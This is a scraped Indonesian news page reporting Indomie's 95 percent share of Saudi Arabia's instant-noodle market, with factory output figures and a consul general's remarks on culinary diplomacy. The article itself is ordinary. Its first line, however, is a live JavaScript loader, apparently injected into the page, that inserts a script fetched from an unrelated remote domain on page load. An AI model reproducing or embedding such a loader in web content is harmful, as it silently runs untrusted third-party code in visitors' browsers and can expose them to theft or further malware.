(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Indomie ‘Penguasa’ Pasar Mie Instan di Arab Saudi


Produk mi instan asal Indonesia, Indomie, diklaim menguasai 95 persen pangsa pasar di Arab Saudi. Hal itu diungkapkan oleh Noor Wahyono, General Manager Pinehill Arabia Food Ltd., saat menerima Konsul Jenderal RI Jeddah Mohamad Hery Saripudin yang mengunjungi pabrik mi instan terbesar se-Timur Tengah dan Afrika Utara di kawasan industri Shanaiyah, Jeddah, Arab Saudi.

Pinehill Arabia Food Ltd. merupakan perusahaan yang memiliki sejumlah pabrik mi instan dengan merek andalan Indomie. “Indomie menguasai 95 persen pangsa pasar mi instan di Arab Saudi,” ungkapnya dalam keterangan resmi KJRI Jeddah di laman resmi Kementerian Luar Negeri, Jumat 14 September 2019, dinukil dari Tempo.co.

Dengan kebutuhan pasar itu, Noor menjelaskan total konsumsi terigu untuk memproduksi mi instan mencapai 220 ton per hari.

Faisal Bawazir, CEO Pinehill Arabia Food Ltd., menambahkan sejumlah faktor yang membuat Indomie mudah diterima oleh konsumen di Arab Saudi salah satunya karena dijamin halal. “Mereka tidak ragu untuk mencobanya karena dijamin halal. Indonesia memiliki jumlah muslim terbesar di dunia,” kata Faisal.

Konjen RI Jeddah Mohamad Hery Saripudin pun menilai bahwa kehadiran produk Indomie yang merupakan merek asli Indonesia menjadi kebanggaan tersendiri.

Menurutnya, Pemerintah Indonesia saat ini menerapkan kebijakan multilayer diplomacy, yaitu praktik diplomasi yang memanfaatkan berbagai sarana, termasuk diplomasi kuliner dan soft diplomacy seperti penyelenggaraan program Bahasa Indonesia bagi Penutur Asing (BIPA). “Indomie bukan sekadar branding bagi Indonesia, tapi kami menaikkan perannya menjadi salah satu sarana diplomasi,” ujar Mohamad Hery.

Sementara itu, Bambang Gunawan, Kepala Pabrik Indomie Jeddah, mengungkapkan pabrik mi instan yang dimiliki Pinehill saat ini fully automatic dalam proses produksinya. Kapasitas produksi di pabrik Jeddah saja mencapai 72 ribu bungkus per jam atau 3,5 juta bungkus per hari. “Total dengan pabrik yang di Dammam, kapasitas produksi  5,5 juta bungkus per hari, Jeddah dan Dammam,” jelas Bambang. (tmp)

Editor : Bie

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

2 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

3 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

4 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

6 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

22 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

23 jam ago

This website uses cookies.